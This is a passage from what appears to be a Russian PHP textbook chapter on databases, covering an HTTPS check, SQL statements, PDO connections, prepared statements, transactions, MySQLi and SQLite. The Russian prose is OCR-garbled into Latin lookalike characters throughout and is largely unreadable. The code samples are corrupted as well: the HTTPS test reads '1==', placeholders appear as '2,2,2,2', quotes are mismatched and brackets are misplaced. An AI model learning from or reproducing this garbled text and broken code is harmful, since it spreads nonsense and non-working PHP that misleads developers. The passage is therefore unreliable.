KaK He cBsi3aH ¢ SSL, o3ToMy ero cpeicTBAMU BbI HE MOKETE YIIPABJSTD HIHUEPPO-
BaHueM. [lludpoBaHue HacTpanBaeTcst Ha YPOBHE CEpPBepa U Balll CEPBEP MOKET
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anbo ero moamepKUBath, 1100 He MOAMEPKUBATh. IHOTAA XOCTHHT-NIpOBaizep
HacTpaMBaeT pa3Hble KaTajoru aus nybauunoro (aocrymHoro mo HTTP) u 3a-
uuiesnoro (HTTPS) conepskumoro. IIpotokon https;// B URL o3nayaer, 4to
JUIsl TIOJTyYeHUs! IOKYMEHTa MCIOJIb3yeTcst Ge30macHoe coeiMHeHHe, B OTIMYHE

ot http://.
Ecnin PHP-ctpannua Oblia creHepupoBaHa B OTBET Ha 3ampoc 1o SSL-

coenunenuto, 3anucb HTTPS maccuBa $_SERVER Oyaer ycraHoBjieHa B “n”.
Y106l 3aMIPETUTH FEHEPUPOBAHHE CTPAHHIIBI 10 HE3AUIULIIEHHOMY COeIMHEHUIO,
UCIOJIb3YITE CJEAYIOUINIT TPOCTOM KOA:
if ($_SERVER['HTTPS'] 1=="on’) {
die("Mcnonbayiite 6esonacHoe coeaunenne.”);

}

YacTo nonyckaercs caeaymouias omnbka: GopMa OTIPaBIsAeTCS M0 6e30MacHo-
MY COEIMHEHWIO, Hampumep, https.//www.example.com/form.html, vo B mapa-
MeTpe action ¢ropmbl ykaswiBaetcsi URL http;//. B pe3yasrate Bce BBedEeHHbIE
10Jib30BaTeieM MapaMeTpbl GOpMbI Oy T OTIIPaBJIEHbI 10 HeGe30MacHOMY coe-
JMHEHHIO U UX CMOXET I1ePeXBaTUTh J1I000H cHUdep makeToB.
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PHP noanepxusaet 6osiee 20 6a3 1aHHbIX, B TOM YKCJie GOIBIIHHCTBO MOMYJISAP-
HBbIX KOMMEDPYECKHX U OTKPBITBIX (Open source) pa3HOBUAHOCTEN. PesiinoHHbIe
cucteMbl ynpasienus 6asamu gaHubix (MySQL, PostgreSQL u Oracle) siBns-
I0TCS1 OCHOBO 60JIbIIMHCTBA COBPEMEHHBIX Be6-cailToB. B HMX XpaHuTCS MHDOP-
Mallusi KOP3WHbI, KCTOPHUsI 3aKa30B, 0630PbI MMPOAYKTOB, HHGOPMALIHS O 10130~
BaTeJie, HOMepa KPeAUTHBIX KAPTOYEK M MHOT/IA JaXke CaMH BeO-CTpaHHLIbL.

B 310i1 rnaBe Gyaer nmokas3aHo, KaK MOJy4YHThb JOCTYN K 6a3am naHubix u3 PHP.
MbI ckoHLleHTpUpYyeMcst Ha BctpoeHHoit B PHP cucreme PDO (PHP Data Ob-
jects), Mo3BosIOLLEl BaM HCIOIb30BaTh OAHU U Te XKe MYHKUMH A5 A0CTYyna
K J1t060# 6a3e JaHHbIX, BMECTO MCII0JIb30BAHMS MHOXECTBA PaClllMPeHHil, criell-
UbUYHBIX 1S K101 6a3bl aHHBIX. B 3TOH ry1aBe Bbl y3HaeTe, Kak MOJYyYUTh
naHHble U3 6a3bl JaHHBIX, KAK COXPAaHHUTh JaHHble B 6a3e JaHHBIX M Kak obpa-
6orath ouwnOku. B 3aBepuiennu riaBbl Gy1eT npuBeIeHO MPUIOKEHHE, TEMOH-
cTpupyiolee 60JbIIMHCTBO Onepaluii ¢ 6a30i JaHHbIX.

IMoanomacitabuoe onucanue pabore ¢ B/l cpenctsamu PHP nexut 3a pamkamu
nauHot kuuru. [{ns 6osee nogpo6Hoit nHbopMaluu no cesaske PHP/MySQL
06paTuTech K J0NOJTHUTEIbHON JIUTEPATY PeE.

8.1. Ucnonb3osanue PHP ans pocryna k 6a3e AaHHbIX

CywectByer aBa criocob6a noctyna k 6a3am gauubix u3 PHP. Oxuu 13 HuX - uc-
N0JIb30BaTh pacUIMpeHHUe, NMpeaocTaBisioliee GYHKUUNA I IOCTyNa K KOH-
KpeTHOH 6a3e qaHHbIX. BTopo# - ncnosib3oBaHne He3aBUCUMOIA OT 6a3bl JaHHBIX
6ubarorekn PDO (PHP Data Objects). ¥ kaxaoro moaxoaa ecTb CBOH Ipe-
HUMYILECTBA U HEJJOCTATKH.

Ecnu Bbl ucnosib3yere criennduyHoe 171t 6a3bl JaHHBIX pacClIMPEHHe, Ball KO/
r/yOOKO MpHUBsA3aH K KOHKPeTHOH 6ase qaHHbix. Hanpumep, uMeHa GyHKLHH,
napameTpsl pyHKIKH, 06paboTka omrbok pacuinpenuss MySQL abcosoTHO OT-
JIMYAIOTCS OT MMeH QYHKIHIA, HX TapaMeTpPoB U crocob6oB 06paboTKH OUIMO0K
J1060ro pyroro paciiMpenus 6a3bl AaHHBIX.

Ecnu Bb 3axotute nepeiit ¢ MySQL Ha PostgreSQL, BaM npuaeTcst cepbe3Ho
Moauduurposats Baul koa. C apyroii croponbl, PDO ckpeiBaet crenuduvHble
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i 6a3bl JaHHBIX GYHKUMK OT BaC C MOMOILbI0 YPOBHS aBCTPaKLUH, [103TOMY
iepexojl OT OJIHOM 6a3bl JaHHBIX K APYToii OYAET TAKUM XKe POCThIM, KaK H3Me-
HeHYe CTPOYKH B Ballleif Tporpamme.

Ho y Bcero ecTb cBost ieHa. 3a mOPTaTHBHOCTb abCTPAKTHOTO YPOBHs GubInoTe-
k1 PDO Hy’xHO pacniiaunBaThCsi IPOM3BOAUTENBHOCTBIO. Ko, ncnonb3yommii
PDO MennenHee koaa, MCHOIb3YOLIET0 POAHOE 4151 6a3bl AaHHBIX pacllpPeHue.
Takxe nmomuute, yto PDO TosnbKO mpenocTaBisieT yHUBepcaabHble QYHKLHUU
a5t paboThl ¢ pa3HbIMU 6a3aMy 1aHHbIX, HO HE rapaHTUpYyeT, 4To Ball SQL-kox
Gyner yHuBepcaJbHbIM. EciiM Ballle NpUJIOXKEHHE HCIOJb3yeT HEYHUBEPCAIb-
HbIit SQL, BaM npuaeTcs npoaenats CyuecTBeHHY0 paboTy, uTobsl mpeobpaso-
BaTb 3aMpoChl OT OHOM 6a3bl AaHHBIX K APYroi. B 3Toii riaBe Mbl BKpaTie pac-
cMoTpuM oba cnocoba noctyna k 6a3e A1aHHBIX, a TAKXKE MOrOBOPUM 00 ajbTepHa-
THBHBIX METO/JaX yNpaBJeHUsi AMHAMUYeCKUM KOHTEHTOM.

8.2. PensuunoHHbie 0a3bl AaHHbIX M SQL

8.2.1. BeeneHue B pensauuoHHbie 6a3bi aaHHbIX U SQL

CucreMa ympaBieHusl pesiUMOHHON 6a30i AaHHBIX (OHA XKe peALHOHHAs
CYB/, Relational Database Management System, RDBMS) - s3t0 cepsep,
YNpaBJSAOUIMA BalIMMU AaHHBIMU. [laHHble XpaHATCS B TabauUax, rae y Kax-
N0ii TabJUIbl €CTh ONpeJAeJeHHOe YHUCJIO KOJIOHOK, MPH 3TOM y KaXI0H KO-
JIOHKU ecTb UMs u Tun. Hanpumep, Tabinua, xpaHsiias cBeeHHs 0O HaAy4HO-
(haHTaCTUYECKHUX KHUTaX MOXKET HABEPHSIKA COAEPXKUT AaHHbIE O HA3BAHUU KHU-
ru (CTpOKa), rofie BbIMycKa (YMCI0) U aBTOpe (CTPOKa).

Tabauupbl rpynnupytoTcss B 6a3bl JaHHBIX, TaK YTO B 0a3e MaHHBIX HAYYHO-
danTacTueckoit uTEpaTypbl MOTYT ObITh TAOJULBI 1Js1 IEPUOJOB BPEMEHH,
aBTOpOB ¥ T.A. Y pensaunonHoii CY B/l 06b14HO ecTb CBOSI COOCTBEHHAsI CHCTe-
Ma [0JIb30BaTeJiel, yIpaBJsolias MpaBaMu J0CTYyIa K 6a3e JaHHbIX (HarnpuMep,
nosb3oBaTenb Mpex MoxeT 06HOBUTH 6a3y JaHHBIX “ABTOpPBI”).

PHP casasbiBaetcs ¢ pensiunonabivu CYB/I, Takumu kak MySQL u Oracle, uc-
M0JIb3ysl SA3bIK CTPYKTYpUpOBaHHbIX 3anpocoB (Structured Query Language,
SQL). Ber Moxere ucrionb3oBats SQL 17151 co3nanust, usmenenust b/l u nosyue-
Hus nHGopmauuu u3 b/1.

Cunrakcuc SQL nenutcs Ha aBe yacTu. IlepBasi yacTb - 3TO A3bIK MaHUIYJIsI-
umit ganubiMu (Data Manipulation Language, DML), ucnosib3yemsiii s 1o-
JIlydyeHMs 1 U3MeHeHUs! JaHHbIX B cyulecTByioeir B/l. DML noBospHO koMnak-
T€H U COCTOUT BCEro M3 yeTbIpex AeicTBUMN: SELECT, INSERT, UPDATE u DELETE.
BTopas yacTb comep>XUT KOMaHAbl, UCIOJIb3yeMble [JIs1 CO3JaHUS U U3MEHe-
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HUS CTPYKTYp 6a3 AaHHbBIX, U U3BECTHA KaK SI3bIK onpejeneHus nauubix (Data
Definition Language, DDL). Cuntakcuc DDL He cTaHaapTU3MpOBaH, B OTJIH-
une oT cuHTakcica DML, Ho nockonbky PHP npocto otnpassiet no6bie SQL-
KOMaH/ibl 6a3e JaHHBIX, TO Bbl MOXETE HCIO0Jb30BaTh J0Oble SQL-KoMaH/bI,
avb Obl Bama 6a3za gaHHbIX WX noaaepxusana. Daiin, comepxaumit SQL-
KOMaH/Ibl 1/l CO3/JaHUsl IEMOHCTPAIIMOHHOM 6a3bl JaHHBIX OUOJNOTEKH, Ha3bl-
Baercs library.sql.

[IpeanonoxumM, 4To y Hac ecTb Tabiuua ¢ MMeHEM books, TOrAa CJeAyIOLINI
SQL-onepatop BcTaBJsieT B Hee HOBYIO 3alIUCh:

INSERT INTO books VALUES (null, 4, 'Sl - pobot', '0-553-29438-5', 1950, 1);
Canenyromuit SQL-onepaTtop ToXe BCTaBJseT HOBYIO 3alHCh, HO YTOUHSIET MOJIS
TaOIHILBL: :

INSERT INTO books (authorid, title, ISBN, pub_year, available)
VALUES (4, ‘9 - pobor’, '0-553-29438-5', 1950, 1);

Yrtobbl yAanuTh BCe KHUTH, KOTOpbie Oblin u3aansl B 1979 roay (eciu TakoBbie
HMMEIOTCS), BBl MOXKETEe MCIOJIb30BaTh caeayoluii SQL-onepaTop:
DELETE FROM books WHERE pub_year = 1979;
Yro6bl H3MEHUTb TOJ U3[aHWSA KHUTHM C Ha3BaHHeM “Roots”, UCNOJIb3yiTe 3TOT
orepaTop:
UPDATE books SET pub_year=1983 WHERE title='"Roots’;
YT1oO6bl MOJTYYHUTh KHUTH, U3faHHble B 80-bIX, HCIOIb3YHTE 3TOT ONEPATOP:
SELECT * FROM books WHERE pub_year > 1979 AND pub_year < 1990; .

BbI Takxe MOXeTe yKasaTb 10JIs1, KOTOPbIE Bbl XOTHUTE MOJyyuTh. Hanpumep:
SELECT title, pub_year FROM books WHERE pub_year > 1979 AND pub_year < 1990;

[Ipu xenaHuK BbI MOXETE CO3/1aTh 3aMPOChI, COOMparoLine MHHOPMALIUIO U3 He-
ckosbkuxX Tabauu. Hanpumep, aToT 3ampoc coeauHsieT BMecTe TabJHIIbI book
¥ author, 4YTOOBI BbI YBU/IEH, KTO HAMKMCAJ KAX/YIO KHHUTY:

SELECT authors.name, books.titte FROM books, authors
WHERE authors.authorid = books.authorid;

Boi MOJXETE UCIT0JIb30BaTh COKpallleHHbIE HAa3BaHUA (PIJII/I HCCBIIOHI/IMBI) Ta6JIl/II_I
IIPUMEPHO TaK:

SELECT a.name, b.title FROM books b, authors a WHERE a.authorid = b.authorid;
[Tonpo6Hoe paccMoTpenne si3bika SQL BBIXOAMT 32 PaMKH 3TOH KHHUIH, MOJY-

YUTh JOMOJHUTEIbHYIO HHGOPMALUIO Bl MoxeTe B kHure SQL in a Nutshell,
Third Edition (Kevin Kline, O’Reily).
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8.2.2. 06bekTs gaHHbix PHP

Ha odunmanshom caiitre PHP (php.net) Bot uto ckaszaxo o PDO:

Pacummpenne PDO (PHP Data Objects) onpenensieT Jerkuit 4 1eJOCTHbIH UH-
tepdeiic mast goctyna K 6azam ganubix u3 PHP. Kaxnapiit apaiisep 6a3bl gaH-
HBIX, B KOTOPOM peaj30BaH 3TOT UHTepdeNC, MOXET MPEeACTABUTDb crielu(puy-
HbIH 17151 6a3bl JaHHBIX QYHKIMOHAJ B BU/E CTaHAAPTHBIX QYHKLUI paciiupe-
uust. Ho Hazo 3aMetuTs, 4to camo o cebe paciuuperre PDO He mo3BoJsiet Ma-
HUITyJIUPOBATh AOCTYNOM K 6a3e naHHbIX. YTOOBI BOCIIOJIb30BATHCST BO3BMOXKHO-
cramu PDO, Heo6x011MO HCITOJIb30BaTh COOTBETCTBYIOIUN KOHKPETHOIT Ha3e
nanubix PDO-npaiiBep.

Pacmnpenne PDO ob6sagaet cieayouMMi yHUKaIbHBIMUA (OYHKIUSIMU:
e PDO - 310 poanoe pacurupenue C;

e PDO ucnosb3yer B CBOMX HHTEPECaX BO3MOXXHOCTH TMOCJTeIHEN BepCUU
PHP 5;

e PDO ucnoss3yer 6ydhepuzosaHHOe yTeHHE JAHHBIX;

e PDO mnpexnocraasier obmue ¢pynkunn B/l kak 0CHOBY [Jis1 HAMUCAHHSI
ClLIeHApHEB;

e PDO B T0 Xe BpeMsi B COCTOSTHUH TOJYYUTb JOCTYTI K CIEMUGMUYHBIM 151
B dyuxiusm;

e PDO MoxeT UCT0J1b30BaTh OCHOBAHHbBIE HA TPAH3aKIIMH METO/IBI;

e PDO moxer B3aumoaeiicrBoBath ¢ LOBS (Large Objects) B B/I;

e PDO MoXeT HCIOJIb30BaTh IOATOTOBJEHHbIE W HCIOJHUMBIE SQL-
3aIPOChI CO CBSI3aHHBIMU ITapaMeTPaMHU,;

e PDO MoxeT peann3oBaTh Kypcopbl C TPOKPYTKOH;

e PDO umeer JOCTyIl K KOoJaM omnOoK SQLSTATE U MMeeT O4eHb m61<y10
06paboTKy OIIHOOK.

Iockonpky y PDO ouyenb MHOTO (hyHKIIMIA, MBI 3ATPOHEM JIMIIb HECKOJIBKO U3
HUX (OCHOBHbIE), 4TOOBI [IOKA3aTh BaM BCE IPEMMYIIIeCTBa UCTIoab30Batust PDO.

s Havana, naBatite HemHoro noroBopum o PDO. Y PDO ectb apaiiBepbl mou-
TH /IS BCEX CYLIECTBYIOIMX 6a3 JaHHBIX, a 6a3bl JaHHbBIX, KOTOPbIE HEMOCPE-
cTBeHHO He noaaepxkuBatwTcsi PDO, MoryT 6bITh JOCTYIHBI Y€pe3 YHUBEPCAb-
Hoe coexuHerrie ODBC. PDO umeer MoayJipHYIO CTPYKTYpY, IO3TOMY y Bac
JOJDKHO OBITh aKTMBHO, KAK MMHHUMYM, /IBa PACIIUPEHUS: OIHO - COOCTBEHHO,
camo paciruperre PDO, a BTopoe - paciiupenue, cnetnduyeckoe ajst 6asbl qaH-
HbIX, C KOTOpO# Bbi 6y/1eTe B3aumoeiicTBoBath yepe3 unrepdeitc PDO. Yro-
Obl HACTPOUTb COETNHEHHE UMEHHO C Ballleit 6a30i JaHHBIX, IOCETHUTE OHJIAWH-
JOKYMEHTALUIO 110 apecy:
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http./ /www.php.net/manual/ru/book.pdo php

Hanpumep, ana ycraHosku PDO na Windows Server ans BsauMmopeicTBus
¢ MySQL HyxHO 106aBHUTb IBE CJIeAYIOLIME CTPOKH B Ball hails php.ini v nepe-
3aMyCTUTh CEPBEP:

extension=php_pdo.dll
extension=php_pdo_mysql.dll

Taxoxe BaM HY>XHO 3HaTh, 4T0 PDO siBasieTcst 06 beKTHO-OPHEHTHPOBAHHbBIM pac-
IIMpeHHeM, 4TO Oy/IeT MOKa3aHO B CIEAYIOUMX IPUMEDAX.

Coapnanue coeguHeHus

TlepBbIM [1€I0M BaM HYXHO YCTaHOBUTb COeMHEeHHe ¢ 6a30ii TaHHBIX M COXpa-
HUTD IECKPUIITOP COeTMHEHHUS B IepeMeHHOM:

$db = new PDO ($dsn, $username, $password);

3necy $dsn O3HAUYAeT MMSI UCTOYHMKA JAHHBIX, & OCTAJIbHbIE /[BA MapaMeTpa
U Tak NOHATHBI. B wactHocTH, anst MySQL-coeanHeHUsT BaM HYXHO HammucaThb
cieyolui Koa:

$db = new PDO("mysql:host=localhost;dbname=library”, “petermac”, “abc123");

KoHeuHo, a1 6osibliielt rTMOKOCTH M B LieJISIX TIOBTOPHOTO MCIOJIb30BaHUS KO
Bbl MOXKETe yKa3aTb MepeMeHHble, CcoJep>Kalllue UMs I0JIb30BaTessl U NapoJb,
a He YKa3bIBaTh X HEMOCPEACTBEHHO MPH co3aHuu oObekTa PDO.

B3aumopeiicTeue ¢ 6a30i AaHHbIX

[Tocie moaxsi0ueHus K Balieit 6a3e JaHHBIX BaM HYXKHO Ha4yaTh B3aMMOJAENHCTBO-
BaTb ¢ Hel. Bbl MoXeTe MCHOIB30BaTh CO3JaHHOE COEMHEHHE /JIsT OTIPAaBKU
SQL-komana cepsepy. Haur npoctoit onepatop UPDATE 6ya€eT BHITJISAETh MPU-
MEpPHO TaK:

$db->query("UPDATE books SET authorid=4 WHERE pub_year=1982");

JtoT Kox npocto obHoBisieT Tabauily books, Hukakoro pesysbraTta 3TOT 3a-
npoc He HeceT. OH IEMOHCTPUPYET, KaK Bbl Oy/eTe OTIPaBasATh nMpocTbie SQL-
KOMaH/Ibl, He Bo3Bpaulamolire pe3yabTata (UPDATE, DELETE, INSERT). B creny-
1olieM paszesie OyaeT paccMOTpeH GoJiee CIOXKHBIM MMOAXO/ - MOATOTOBJIEHHbIE
3a1pochl.

MoarotoBneHHbie 3aNpoChi

PDO Taxxxe Mo3BoJisieT MCNOJb30BATh MOATOTOBJEHHbIE 3anpochl. [ToaroTos-
JIEHHbI1 3a1IPOC MOXHO MPECTaBUTH cebe, KaK HEKUI BUl CKOMITUJIMPOBAHHOTO
waboHa SQL 3anpoca, KOTOPbIi OYeT 3aMyCKaThCs IPUIOKEHUEM U HACTPaU-
BaThCs C MOMOIBIO BXOJHBIX MapaMeTPoB. PacCMOTpPUM clieyoluii KOA:
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$statement = $db->prepare( “SELECT * FROM books”);
$statement->execute();

// nonyuaem no oawo# 3anucu 3a pas
while ($row = $statement->fetch()) {
print_r($row);
// MAn penaem 4TO-TO APYroe C KaXAOH BO3BPAWEHHON 3aNUChIo

}

$statement = null;

B atom kozne Mb1 “noaroraBiauBaeM” SQL-kox, a 3aTeM “BoinosinsieM” ero. lanee
B [[MKJIE MbI “IIPOXOJIMMCS” 0 Pe3yJIbTATY 3alIpOca U 0CBOOOX 1aeM 0OBEKT, IPH-
CBOMB eMYy null. ITOT MPUMep He MOKa3bIBaeT BCIO MOILb MOATOTOBJIEHHbBIX 3a-
IPOCOB, TO3TOMY IaBalTe PACCMOTPUM CJIEAYIOUIUH KO

$statement = $db->prepare(”INSERT INTO books (authorid, title, ISBN, pub_year)”
. "VALUES (:authorid, title, :ISBN, :pub_year)”);

$statement->execute(array(
'authorid' => 4,
title' => “Foundation”,
'\SBN' => “0-553-80371-9",
'pub_year'=> 1951}
);
3nech Mbl noarotaBiauBaeM SQL-omepaTop ¢ 4YeThHIpbMsI TICEBAONEPEMEHHBI-
mu: authorid, title, ISBN v pub_year. B naiiem ciyyae uMeHa NceBIONepeMeH-
HBIX COBIAAAIOT C Ha3BaHUSAMM MMOJIeH TabauIbl. ITO CAETAHO TOJbKO A ICHO-
CTH, ISl TICEBIONIEPEMEHHBIX Bbl MOXKETE HUCIIOJIb30BaTh JIIOObIE TOHSITHbIE BaM
uMeHa. B BbI30Be execute() Mbl 3aMeHsieM IMceBONepeMeHHble (haKTHYECKU-
MU JaHHBIMH, KOTOPbIE€ MBI XOTUM HCIIOJIb30BaTh B 3TOM OIIpeJeJIEHHOM 3aIpo-
ce. O1HO U3 MPEUMYILIECTB MOATOTOBJIEHHBIX 3aIIPOCOB - Bbl MOXKETE BHITIOJHATD
onHy U Ty e SQL-koMaHIy U KaXKIbIH pPa3 B MacCUBeE NepeaBaTh €l pasinyHble
3HaueHus1. BMecTo MMeH nepeMeHHbIX Bbl BOOOLIIE MOXETE MCII0Ib30BaTh BOMPO-
CUTeJIbHBIN 3HaK (2), KaK B cJleyIOlleM KOoJe:

$statement = $db->prepare(”INSERT INTO books (authorid, title, ISBN, pub_year)”
. "VALUES (2,2,2,2)");

$statement->execute(array(4, “Foundation”, “0-553-80371-9", 1951));

ITHU oneparopbl BBIIOIHSIOT TO XKe AeHCTBHE, HO C MEHBILIMM KOJHYECTBOM KOJa,
IIOCKOJIbKY MBI He TIPUCBAaMBaeM MMeHa 3JIEMEHTaM, KOTopbie Oy1yT 3aMeHeHbl,
I03TOMY B MacCHB Bbl MOXETe [TOMECTUTD TOJbKO CaMH JaHHble, O6e3 uMeH. Bam
HY>KHO TOJIbKO Y€TKO 3HaTb NO3ULIMH AaHHBIX, KOTOPbIE Bbl OTIIPaBJIsieTe B MOA-
FOTOBJIEHHBIH 3aIpoc.
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TpaH3akuuu

Hexotopsie pensuunontbie CYB/l noanepxuBaioT TpaH3aKI[UH, B KOTOPBIX Ce-
pus U3MeHeHUH 6a3bl JaHHBIX MOXET ObITh OOBeMHEHA (BCe UBMEHEHUs Oy ayT
IIPUMEHEHbI 32 O/IMH Pa3) WK OTKaueHa Ha3aj (OyayT OTMEHEHbBI BCE IPUMEHEH-
Hble u3MeHeHus1). Hanpumep, koraa 6ank o6pabaThiBaeT nepeBojl AeHET, HyXKHO
C OJIHOTO CYETA CHATh CyMMY M TOMECTHTD Ha IPYTOH, 3TH Ba A€HCTBUS TOJIKHbI
mpou3ouTH BMecTe. HU 01HO U3 3TUX NeHCTBUIA He JOJPKHO MPOU30ITH OTIeNb-
HO ¥ MEX/1y HUMH He J0JKHO ObITh 3a/I€PXKKH.

PDO o6pabaTbiBaeT TpaH3aKIMU C IOMOLIBIO CTPYKTYPHI try...catch MOA06HO
TOMY, KaK [T0Ka3aHo B mpumepe 8.1.

Mpumep 8.1. Crpykrypa kopa try...catch |
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try {
$db = new PDO("mysql:host=localhost;dbname=banking_sys", “peter”, “123");

// coenmHeHnue ycnewHo
}
catch (Exception $error) {
die("Ownbka coepnnenus: “ . $error->getMessagel));

try {
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$db->exec("insert into accounts (account_id, amount) values (23, '5000')" );
$db->exec("insert into accounts (account_id, amount) values (27, -5000')" );
$db->commit();

catch (Exception $error) {
$db->rollback();

echo “Tpan3aakums He sunonHena: “ . $error->getMessage!();
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Ecan Bbl 6Gynere WCmosib30BaTh METOABI commit() MM rollback() Ha 6a3ax
JAHHBIX, HE TOAAEPXKUBAIOIINX TPaH3aKIUH, BbI MOJyYUTe OMMOKY DB_ERROR.
Y6enurtech, YT0 UCIOIb3yeMble Oa3bl JAaHHBIX MOAAEPKUBAIOT TPAH3AKIIMU TIe-
pen UX UCMOJIb30BAHUEM.

8.3. 06 bexTHO-o0pueHTMpoBaHHbIN uHTepdenc MySQLi

Haubonee nonysspHoii miaargopmoii 6a3 1aHHbIX TPU UCToIb30Banuu ¢ PHP
sasasercs MySQL. Ecau Bbl 3arnsuute Ha cailt MySQL (www.mysql.com), Bbl
yYBUANTE HeCcKoJbko pa3Hbix Bepcuit MySQL. Becniatno pacnpoctpansiemas
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Bepcusl Ha3biBaeTcs community server. Y PHP ecTb Heckosbko pa3HbIX UHTEP-
deiicoB s pabotsl ¢ atoil CYDB/], Mbl paccCMOTPUM yCOBEPIIEHCTBOBAHHMbIIM
o6bekTHO-OpreHTHpOoBaHHbIi nHTepdeiic MySQLi (MySQL Improved). Ecin
BBI He OUYeHb OpueHTHpyeTech B untepdeiicax u konuenuusax OOII, npexne yem
IPUCTYIIMTE K YTEHHUIO ITOTO pasaesa, oOpaturech K ruase 6, rae 6oee moapoo-
HO paccMartpuBaiachk Tema OOII u untepdeiicos.

[TockoabKy 06 beKTHO-OpHEHTUPOBaHHBIN HHTEpdeiic MySQLI Bctpoen B PHP
B CTAaHJAPTHYIO YCTAaHOBKY (BaM HYXXHO TOJIBKO aKTMBHPOBATH PACUIMPEHHE
MySQLi B Bamrem PHP-okpy>xeHuu), Bce, 4YTO BaM HYXHO - MPOCTO MHCTAHIIM-
HPOBaTh €ro Kjacc (COo31aTh 3K3EMILISP KJIacca), KaK IM0Ka3aHO B CJIEIYOeM
Kojie:

$db = new mysqli(host, user, password, databaseName);

[IpeacraBuMm, uyTo 06a3a JaHHBIX Ha3bIBaeTCs library, WUMsI mMoJb30BaTENs -
petermac 1 apoJib 1q2w3e9i8u7y. Kox noaxouenus k B/l Gyzaer ciemyommm:

] " on

$db = new mysqli(”localhost”, “petermac”, “1q2w3e9i8u7y”, “library”);

B pesyabraTe Bbl nostyuure pocryn k camoit CYB/I, B yacTHOCTH, K Tabnuiam
U IpyruM AaHHbIM. Kak TOJBKO KJ1acC MHCTAaHIMMPOBAH B IIEPEMEHHYIO $db, BbI
MOJXETE UCII0JIb30BaTh METO/IbI 3TOr0 00beKTa /1151 paboThi ¢ Baitei B/I.

Paccmotpum nmpuMep BcTaBkY HOBOM KHUTH B B/] library :

" on ]

$db = new mysqli(“localhost”, “petermac”, “1q2w3e9i8u7y", “library”);

$sql = “INSERT INTO books (authorid, title, ISBN, pub_year, available)
VALUES (4, 'l - pobot', '0-553-29438-5', 1950, 1)";

if ($db->query($sql)) {
echo “"Knura ycnewnro coxparena.”;

else {
echo “lMonbiTka BCTABKM AQHHBIX He yaanack. [onbiTaiTecs CHOBA MM
obparnTecs B TEXHUHECKYIO NOAREPXKY * ;

}

$db->close();

[TepBbIM m€10M MBI cO31aeM 00BEKT $db Kacca mysqli. [lanee Mbl co3naem cTpo-
Ky 3ampoca ¥ 3alMChIBaeM ee B MEPEMEHHYI0 C UMEHeM $sql. 3aTeM Mbl BbI3bI-
BaEeM METOJI query() U TPOBEPSIEM BO3BpAIlaeMOe UM 3HAUYEHHE, KOTOpoe Oyaer
true B CJIyyae YCIIEIIHOTO BBINOJIHEHMs 3ampoca. Ha manHoM stamne He o6si3a-
TEJbHO B CJIy4Yae yClexa BbIBOAUTH YTO-THOO C MOMOIIBIO echo, 3[€Ch echo HC-
N0JIb3YETCS /ISl TPUMepa. 3aTeM Mbl BbI3bIBAEM METO/I close /11 YHUYTOXEHHUS
KJIacca ¥ 0CBOOOXKIEHUS TTAMSITH.

]
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MonyyeHune AaHHbIX ANS 0TOOpaxeHus

B npyroit yactu Harero Be6-caiita BaM 3aX0YeTCS BBIBECTH CITUCOK BalllMX KHUT
U MI0Ka3aTh, KTO SIBJISIETCSI MX aBTOPOM. Bce 3To MOXHO clieJ1aTh C MOMOILBIO TOTO
xe kaacca MySQLi. Ham npuzercst paborats ¢ pe3yisTaToM, CreHEPUPOBaHHBIM
SQL-koMaHzao#t SELECT.

Ectb MHOrO crioco60B 0To6pa3uth nHGOpMaLuio B 6pay3epe U Mbl PACCMOTPUM
onuH u3 Hux. O6paruTe BHUMaHUE, YTO PE3YJIBTAT BO3BPAILAETCS B OTAENbHbIIM
KJIacc, a He B nepemeHHyi0 $db. PHP aBToMarnyecku co3naet 06bEKT HYXKHOTO
KJlacca U 3aIoJIHsIeT ero BO3BpalleHHbIMU IaHHBIMU. PaccMoTpuM kox:

] " on

$db = new mysqli(“localhost”, “petermac”, “1q2w3e%i8u7y", “library”);

$sql = “SELECT a.name, b.title FROM books b, authors a
WHERE a.authorid=b.authorid”;

$result = $db->query($sql);
while ($row = $result->fetch_assoc()) (
echo “{ $row['name’]} - asTop knuru ( $row('itle']}<br />";

}

$result->close();

$db->close();

3aecb MBI COXpaHsieM pe3yJBTaT MeTola query() B NepeMEHHYI0 C MMeHeM
$result. [lasee Mbl ucnosbdyem Metop fetch_assoc() pesysbrata aisi I0CTy-
na K OJJHOM 3anucH pe3yJbTara 3a OHYy UTepalMIio LIMKJa. B 1ukie nosyyeHHas
3amuch pe3yJibTaTa COXpaHseTcs B nepeMeHHy0 $row. O6paboTka pesyJibrarta
OCYLLIECTBJISIETCS], TI0KA B HEM eCTb HeoOpaboTanHble 3anucy. 3aTeM Mbl 3aKpbl-
BaeM 00a 0ObeKTa.

BoiBoz 6yaeT mpuMepHO TakoM:

D.PP. Tonkuw - asTop kHurn Ose 6awHm

[.P.P. TonkuH - asTop kHMru Bosepauwenwne kopons
.PP. TonkuH - asTop KHKr Xo66mT

Anekc Xeinu - asTop kHuru Kophu

Tom Kn3ucw - asTop kHmuru Papyra wecte

Tom Knarew - astop kuuru 3y6el Turpa

Tom Knawrew - aetop khmnr Cnoso npesungerta

Npumevanue. OouH M3 cambiX NONE3HLIX METOA0B, KOTOPLIN MO-
xeT ObiTb HanaeH B MySQLi - aTo multi_query. 3TOT MeTOA NO3BONAET
BaM BLINONHATL Heckonbko SQL-komaHa B ogHOM onepartope. B pe-
3yneTaTe, eCnu Bbl XOTUTE BCTaBUTL 3aNnCb, a 3aTeM 0GHOBUTL ee,
Bbl MOXETe caenartb 3TO 3a OOUH LIar.

T T T T e
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Koneuno, Mbl paccmotpesnin MySQLi oyeHs nosepxHocTHo. [loapobHyio noky-
MEHTALMIO 110 HEMY BbI BCEr/la CMOXeTe HalTH no aapecy www.php.net/mysqli,
r/ie Bbl TO3HAKOMHUTECH C MOJTHBIM CIUCKOM METO/IOB, SIBJISIIOLIMXCSI YACThIO 3TO-
ro knacca-untepdeiica. '

8.4. SQLite

B PHP 5 nosBunaco noaaepxka komnaktHoit CYB/I SQLite. Kak npeanosara-
€T ee Ha3BaHMe, ITO JIErKOBECHAs CUCTeMa ynpaByieHus 6a3oit nanubix. Haunnas
¢ PHP 5, noanepxka naunoit CYB/] aoctynHa no ymosyanuio, To ectb SQLite
J0CTyMHa “npsiMo 13 Kopobku”, koraa Bbl ycranosute PHP 5, 6, 7.

[IpeumyuiectBo SQLite B TOM, YyTO BCe XpaHuaHile 6a3bl JAHHBIX HAXOAUTCS
B 0JHOM (aiise. ITO MOXKeT ObITh OYEHD TOJIE3HO, ECJIH BbI MbITAETECH CO3/1aTh
